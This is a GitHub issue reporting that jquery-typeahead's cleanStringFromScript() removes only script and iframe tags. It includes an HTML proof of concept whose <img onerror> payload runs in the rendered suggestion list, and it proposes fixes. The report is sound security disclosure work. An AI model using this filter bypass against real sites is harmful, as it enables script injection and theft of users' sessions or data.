Skip to content

Potential XSS bypass in cleanStringFromScript() when rendering source data #567

@WiiiiillYeng

Description

@WiiiiillYeng

Hi, I would like to report a potential XSS filtering bypass in the default result rendering path.

Describe the bug

jquery-typeahead attempts to clean result strings with cleanStringFromScript() before rendering them in the suggestion list. The helper is documented in the source as:

/**
 * Clean strings from possible XSS (script and iframe tags)
 */
cleanStringFromScript: function (string) {
    return (
        (typeof string === "string" &&
        string.replace(/<\/?(?:script|iframe)\b[^>]*>/gm, "")) ||
        string
    );
},

However, the filter only removes script and iframe tags. Other executable HTML, such as event-handler attributes on allowed tags, is not removed. The filtered value is later inserted into the result list as HTML, so a payload such as <img src=x onerror=alert('XSS')> can execute when the suggestion list is rendered.

To Reproduce

Minimal reproduction using a locally downloaded copy of the latest GitHub project:

npm install jquery
git clone https://github.com/running-coder/jquery-typeahead.git jquery-typeahead-master

Place the HTML file next to the jquery-typeahead-master folder. In my local setup, jQuery is installed in ../node_modules, and the Typeahead files are loaded from the downloaded GitHub project.

<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8" />
  <title>jquery-typeahead XSS filter bypass reproduction</title>
  <script src="../node_modules/jquery/dist/jquery.min.js"></script>
  <link rel="stylesheet" href="./jquery-typeahead-master/dist/jquery.typeahead.min.css">
  <script src="./jquery-typeahead-master/dist/jquery.typeahead.min.js"></script>
</head>
<body>
  <form>
    <div class="typeahead__container">
      <div class="typeahead__field">
        <div class="typeahead__query">
          <input id="search" type="search" autocomplete="off">
        </div>
      </div>
    </div>
  </form>

  <script>
    const localData = [
      { id: 1, name: "apple", category: "safe" },
      { id: 2, name: "<script>alert('blocked by cleanStringFromScript')<\/script>", category: "blocked" },
      { id: 3, name: "<img src=x onerror=alert('XSS')>", category: "bypass" }
    ];

    $("#search").typeahead({
      minLength: 1,
      maxItem: 8,
      display: "name",
      source: {
        data: localData
      }
    });
  </script>
</body>
</html>

Steps to reproduce the behavior:

  1. Open the HTML file in a browser.
  2. Type a in the input.
  3. The suggestion list is rendered.
  4. The script tag payload is stripped by cleanStringFromScript(), but the <img onerror> payload is not stripped.
  5. The image error handler executes when the result is inserted into the DOM.

Expected behavior

If the library cleans result strings from possible XSS before inserting them as HTML, the cleaning should not be limited to only script and iframe tags.

Expected safer behavior would be one of the following:

  • escape result values by default and insert them as text;
  • use a robust sanitizer before inserting values as HTML;
  • clearly document that cleanStringFromScript() is not a sanitizer and should not be treated as an XSS protection boundary.

Screenshots

Image

Desktop:

  • Browser: Chrome
  • Version: 126.0.6478.127

Additional context

The relevant internal flow is:

  • display values are passed through cleanStringFromScript();
  • the helper only removes script and iframe tags;
  • the resulting string is used to build _aHtml;
  • _aHtml is inserted into the suggestion list with jQuery HTML insertion.

This means the current filter blocks some common payloads, but it is not a complete XSS mitigation.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions